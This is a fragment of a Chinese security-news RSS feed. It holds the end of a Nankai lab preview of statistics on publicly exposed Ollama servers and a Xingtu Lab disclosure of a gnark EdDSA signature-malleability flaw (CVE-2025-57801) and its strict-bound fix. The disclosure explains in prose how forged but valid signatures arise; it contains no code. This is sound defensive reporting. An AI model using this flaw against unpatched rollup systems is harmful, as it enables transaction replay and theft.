0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">deepseek-r1:1.5b</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（2.98%）</span><span textstyle="" style="font-size: 14px;">与 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">mistral:latest</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（2.91%）</span><span textstyle="" style="font-size: 14px;">；版本前五为 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.15.6</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（11.51%）</span><span textstyle="" style="font-size: 14px;">、</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.13.5</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（9.37%）</span><span textstyle="" style="font-size: 14px;">、</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.1.33</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（8.72%）</span><span textstyle="" style="font-size: 14px;">、</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.15.2</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（4.49%）</span><span textstyle="" style="font-size: 14px;">与 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.15.4</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（4.49%）</span><span textstyle="" style="font-size: 14px;">。</span></span></p><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">当日活跃 IP 年龄中位数为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">77</span><span textstyle="" style="font-size: 14px;">天，其中</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">7</span><span textstyle="" style="font-size: 14px;">天内节点占比</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">14.59%</span><span textstyle="" style="font-size: 14px;">，</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">90</span><span textstyle="" style="font-size: 14px;">天以上占比</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">46.37%。短周期波动节点与长期稳定节点同时存在，成为当前暴露生态的典型运行形态。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3074074074074074" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000058" src="https://wechat2rss.xlab.app/img-proxy/?k=cceb9ffe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6X0c5VNmlu59OU2Y5ZXjs9kX3mR7OgTGzrvjxibbNzcUbzkFmtJuuIJNW7bjticp00nOn2dicoSpqrS7G5truvnnr5kCsiaH7diaPO4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 10px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✧ ✧ ✧──────</span></span></p><h2 data-pm-slice="0 0 []" style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x03存活周期</span></strong></h2><p data-pm-slice="0 0 []" data-mpa-action-id="mll1btfm6sp" style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span mpa-font-style="mll1btfcpo4" style="font-size: 14px;"><span leaf="">存活周期分析表明，</span><em><span leaf="">IP 极易更替，模型中等稳定，版本最稳定</span></em><span leaf="">。这一结果与“节点弹性调度与迁移频繁、软件升级节奏慢于节点更替”的运行规律相一致。全年最长存活记录分别为：IP</span><span leaf=""><span textstyle="" style="color: rgb(113, 26, 95);">358</span></span><span leaf="">天</span><span leaf=""><span textstyle="" style="color: rgb(113, 26, 95);">（3个节点）</span></span><span leaf="">、模型 </span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf="">deepseek-r1:latest</span></code><span leaf=""><span textstyle="" style="color: rgb(113, 26, 95);">355</span></span><span leaf="">天、版本 </span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf="">0.1.33</span></code><span leaf=""> 持续</span><span leaf=""><span textstyle="" style="color: rgb(113, 26, 95);">348</span></span><span leaf="">天。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2740300594197833" data-s="300,640" data-type="png" data-w="2861" type="block" data-imgfileid="100000060" src="https://wechat2rss.xlab.app/img-proxy/?k=02dbdf72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FI5P6NLY2q6U1Qn84Jic3C5opISbOmENpKlZgkQR0TWc3RUy8rSRsd8GNZW0rmibG8Wgp44bYntEkVHFeINzRnZJWDSqX1qdVSJXJUn5Kgco00%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 10px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✦ ✦ ✦──────</span></span></p><h2 style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x04地理分布</span></strong></h2><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">全年观测覆盖</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">158</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">个国家和地区，前四依次为 CN</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（29.09%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">、US</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（21.65%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">、DE</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（9.06%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">与 FR</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（7.43%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">。其中 CN 与 US 合计占</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">50.75%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">，前三占</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">59.80%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">，前五占</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">70.06%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">。整体呈现“全球分布广泛、核心承载区域高度集中”的特征</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.41539065567334116" data-s="300,640" data-type="png" data-w="2547" type="block" data-imgfileid="100000062" src="https://wechat2rss.xlab.app/img-proxy/?k=f390c9b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6XOibTiaM1fBKaILgwtD2ibYAdavxmJlFXEgvH5yUMbUZRy7dbfwVnWzmrMIQR7W6x5wtXdPjtAjNkpbSzXBvNuhLibia8HmibkYbqxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 10px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✧ ✧ ✧──────</span></span></p><h2 data-pm-slice="0 0 []" style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x05 TLS 证书</span></strong></h2><p data-pm-slice="0 0 []" style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">观测发现，部分暴露IP通过443端口反向代理或网关对外提供访问。通过对TLS证书生态分析，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">共有</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">24,524</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">个暴露 IP 配置证书，其中 SSL 验证通过率为</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">52.54%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">，证书过期率为</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">9.88%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">。</span></span></p><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">证书生态中，Let&#39;s Encrypt 占比</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">45.67%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">，其后为 DigiCert、TrustAsia、ZeroSSL 与 Sectigo。签名算法以 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">sha256WithRSA</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（69.43%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">与 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">ecdsa-with-SHA384</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（25.63%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">为主，但仍存在 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">md5WithRSA</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（2.39%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">及少量 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">sha1WithRSA</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;">。密钥长度以</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">2048</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">位</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（68.00%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">为主，另有部分</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">4096</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">位及少量</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">1024</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">位证书。总体来看，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">TLS部署已具规模，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">但仍有一定比例节点未达到当前安全基线。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3501577287066246" data-s="300,640" data-type="png" data-w="2219" type="block" data-imgfileid="100000064" src="https://wechat2rss.xlab.app/img-proxy/?k=d2ee1262&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FI5P6NLY2q6Xt7YqCv9qXbibLibFNhOI8rIVo3XxG4DkjqQo8va6Ift8PmoicQjB3yp8NfXZe50eXdwXs2KqjRibMbElWEGQ8PFRQ3fWricDW0R4M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 10px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✦ ✦ ✦──────</span></span></p><h2 style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x06预览总结</span></strong></h2><p style="margin-top: 4px;margin-bottom: 10px;"><span leaf=""><span textstyle="" style="font-size: 12px;background-color: transparent;color: rgb(113, 26, 95);">🔖 治理建议</span></span></p><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);font-weight: 600;">综合全年监测结果，公网暴露的 Ollama 生态正在加速扩张，并呈现出“规模增长、结构重组、节点高流动、基础设施集中化”的复合态势。</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);font-weight: 600;">对治理而言，这意味着既要持续关注短周期暴露波动，也要建立面向长期演进的版本与证书风险跟踪机制。</span></span></p><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">本文为年度报告预览版。</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">详细内容</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">请参见南开大学 AOSP 实验室《Ollama 网络安全态势监测2025年度报告》白皮书（待发布，如有需求可留言公众号）。</span></span></p><div style="margin: 10px auto 14px;padding: 10px 16px;border: 1px solid rgba(113, 26, 95, 0.30);border-radius: 8px;background: transparent;display: table;"><p style="text-align: center;line-height: 1.4em;margin-bottom: 8px;margin-top: 0px;"><span leaf="" mpa-font-style="mllia73mhyt" style="font-size: 12px;">编辑：许祖耀 仇渝淇</span></p><p style="text-align: center;line-height: 1.4em;margin-bottom: 8px;margin-top: 0px;"><span leaf="" mpa-font-style="mllia73m12np" style="font-size: 12px;">排版：许祖耀</span></p><p style="text-align: center;line-height: 1.4em;margin-bottom: 0px;margin-top: 0px;"><span leaf="" mpa-font-style="mllia73m17u7" style="font-size: 12px;">审核：李想</span><span leaf="" style="border-radius: 8px;background: transparent;text-align: center;line-height: 1.4em;font-size: 12px;"> 常得量</span></p></div><p data-pm-slice="0 0 []" nodeleaf="" style="margin-bottom: 24px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.19166666666666668" data-type="png" data-w="1080" style="background-color: transparent;" data-width="2067" data-height="396" data-imgfileid="100000051" src="https://wechat2rss.xlab.app/img-proxy/?k=3e0a8ba8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6VOSyvME3rIQgfz21YWnG7LyvTJSs08cVzpqenJ3ibAAVnX87mQT0YzBXa4oc1FjTvJAsm2A31Q8Uj8blDHHN831CqZbPWCUeJU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=baed472a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489043%26idx%3D1%26sn%3D80351b3695f8dd0916a801f24bd1941c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 26 Feb 2026 16:49:00 +0800</pubDate>
    </item>
    <item>
      <title>星图实验室接棒玄武实验室，完成底层密码学库漏洞的最终修复</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489041&amp;idx=1&amp;sn=9b6dd48689cfcc9d1d24ce6b408d3f1a</link>
      <description>星图实验室接棒玄武实验室，完成零知识证明库 gnark 高危漏洞的最终修复</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-01-26 14:32</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e32ecd7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mdp33jzZk4mTib7eIsAC0pZAUC8fPnfibbI3v568vP4MVA313he7fiaExz0RhKZpcm2CDBc5FrqjSHA%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>星图实验室接棒玄武实验室，完成零知识证明库 gnark 高危漏洞的最终修复</p>
  <div data-tools="135编辑器" data-id="167792" data-pm-slice="0 0 []"><div style="margin: 10px auto;padding-top: 10px;box-sizing:border-box;"><div style="border: 1px solid #cee8ff;margin: 0 3px;box-sizing:border-box;"><div style="display: flex;justify-content: flex-start;"><div style="margin-left: -3px;transform: rotateZ(0deg);-webkit-transform: rotateZ(0deg);-moz-transform: rotateZ(0deg);-o-transform: rotateZ(0deg);"><div style="margin-top: -13px;"><div style="display: flex;"><div><p style="font-size: 16px;color: #272727;text-align: left;padding-left: 8px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf="">前情提要   </span></strong></p></div></div><p style="font-size: 12px;color: #97cdff;text-align: left;padding-left: 13px;box-sizing:border-box;"><span data-brushtype="text"><span leaf="">-----------</span></span></p></div></div></div><div style="padding: 15px 10px 15px;box-sizing:border-box;"><div data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#333333;background-color: transparent;"><p><span style="font-family:宋体,SimSun,STSong;"><span style="color: rgb(85, 85, 85);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">在2025 年 8 月，腾讯玄武实验室的阿图因自动化漏洞挖掘引擎在零知识证明库 gnark 中发现了一个高危漏洞（CVE-2025-57801，CVSS 8.6）。之后，玄武实验室联合上海交通大学 GOSSIP 实验室及郁昱教授团队共同完成了漏洞复现。 <a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzA5NDYyNDI0MA==&amp;mid=2651960252&amp;idx=1&amp;sn=a17f504cfb7c8844f295b02f099aa720&amp;scene=21#wechat_redirect" textvalue="我们的AI发现了一个零知识证明库的漏洞，Sam Altman的项目也用了这个库" data-itemshowtype="0" linktype="text" data-linktype="2">我们的AI发现了一个零知识证明库的漏洞，Sam Altman的项目也用了这个库</a></span></span></span></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">2025 年 8 月，腾讯玄武实验室基于大模型能力构建的自动化漏洞挖掘引擎 Atuin 在零知识证明（ZKP）库 gnark 的签名验证电路中发现一处高危漏洞，并获得编号 CVE-2025-57801（CVSS 8.6）。该问题本质上属于签名可塑性（Signature Malleability）：在电路约束不完备的情况下，攻击者可以在不改变公共输入（交易内容/消息等）的前提下，构造出不同但仍能通过验证的签名见证，从而破坏“签名唯一性/不可重放性”这一常被上层协议默认成立的安全前提。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">之所以需要严肃对待这类缺陷，是因为 gnark 作为工程化程度很高的 ZKP 库，被广泛用于 ZK-Rollup 等扩容场景；一旦 Operator/业务电路直接复用存在缺陷的“原生（native）签名验证”实现，那么攻击者就可能基于一笔真实交易派生出“内容相同但签名不同”的伪造版本，进而在某些以签名字段（如 R/S）派生 nullifier、反重放标识或约束逻辑的系统里引发重复执行/重复结算等连锁风险。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在玄武实验室披露后，其与上海交通大学 GOSSIP 实验室及郁昱教授团队完成了漏洞复现与影响分析，并推动社区修复。但值得注意的是：即便该漏洞构造并不复杂，其初始“修复”却并不严谨。在早期修复链路中，签名标量 S 的取值约束仍存在边界条件缺口——实现里检查的是 s &lt;= order，而标准要求的是 严格不等 s &lt; order。这会在极端边界（例如 s = order）下引入等价关系，使得签名对在形式上出现可塑性（可理解为 (R, 0) 与 (R, order) 的等价风险点），从而留下“理论上可被利用、工程上可能被误用”的残余隐患。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为消除这一残余风险，我们（星图实验室）进一步向 gnark 上游报告并推动修复：最终在 PR <a class="wx_topic_link" topic-id="mkur8cei-333tjs" style="color: #576B95 !important;" data-topic="1">#1684</a> 将约束从 AssertIsLessOrEqual 调整为严格比较（在 std/signature/eddsa/eddsa.go 中用 cmp.IsLess 并断言结果为 1），使 EdDSA 验证满足 S &lt; order 的严格要求；该 PR 已于 2026-01-21 合入主分支，并在CVE-2025-57801中获得了致谢。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005392" data-ratio="0.3731481481481482" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bde33728&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mdp33jzZk4mTib7eIsAC0pZPdGiaZOah81aZgYFic3luNHRy8KjOwibiacNx79SNU7XLObicp4YTooskpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">更有意思的是，这个“残余隐患”的发现路径，几乎与玄武实验室依赖复杂 Agent 体系（Atuin）进行自动化挖掘的路径相反：星图研究员在看到玄武实验室相关信息后第一时间尝试复现。作为安全研究团队，我们希望对 AI/大模型在漏洞分析中的有效性做更“朴素但可对照”的评估——因此我们没有调用外部网络，也没有搭建多工具链 Agent，而是把公开上下文（即ecdsa.go，prompt为：“请你帮我查找其中的安全隐患”。）直接投喂给 Gemini 2.5 Pro 与 GPT-5。出乎意料的是，在“无外部检索、无复杂编排”的条件下，大模型依然给出了准确的漏洞挖掘、机理拆解与推导链路，并能自然地把关注点落到“约束是否完备/边界是否严格”这种最容易在修复阶段被忽略的细节上。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们关注到当时的网络安全圈的一些评论，例如微博上对这个的讨论是： “用 AI 发现代码中的漏洞已经没什么稀奇了。但是在密码学库，尤其是经过多轮人工审计的 Web3 社区的密码学库里还能发现漏洞，这就让我们对 AI 能力边界的认知又扩大了一圈。” 这个案例给了我们一些新的如何利用AI能力开展安全研究的启发，AI的能力在目前的安全研究人员认知中可能被低估了，需要大家进一步评估AI挖掘漏洞的潜力。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">相关链接：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">我们的AI发现了一个零知识证明库的漏洞，Sam Altman的项目也用了这个库<a class="normal_text_link" target="_blank" style="box-sizing: border-box;background-color: transparent;color: rgb(33, 150, 243);outline: none;text-decoration: none;" href="https://mp.weixin.qq.com/s?__biz=MzA5NDYyNDI0MA==&amp;mid=2651960252&amp;idx=1&amp;sn=a17f504cfb7c8844f295b02f099aa720&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/MefyWBQJKU2Mf0vLwau8MQ" target="_blank">https://mp.weixin.qq.com/s/MefyWBQJKU2Mf0vLwau8MQ</a></a></span></p></li><li style="box-sizing: border-box;"><p><span leaf="">gnark 官方漏洞公告：Security Advisories · Consensys/gnark · GitHub</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">CVE-2025-57801：NVD - CVE-2025-57801</span></p></li></ul><div data-tools="135编辑器" data-id="158381" data-pm-slice="0 0 []" 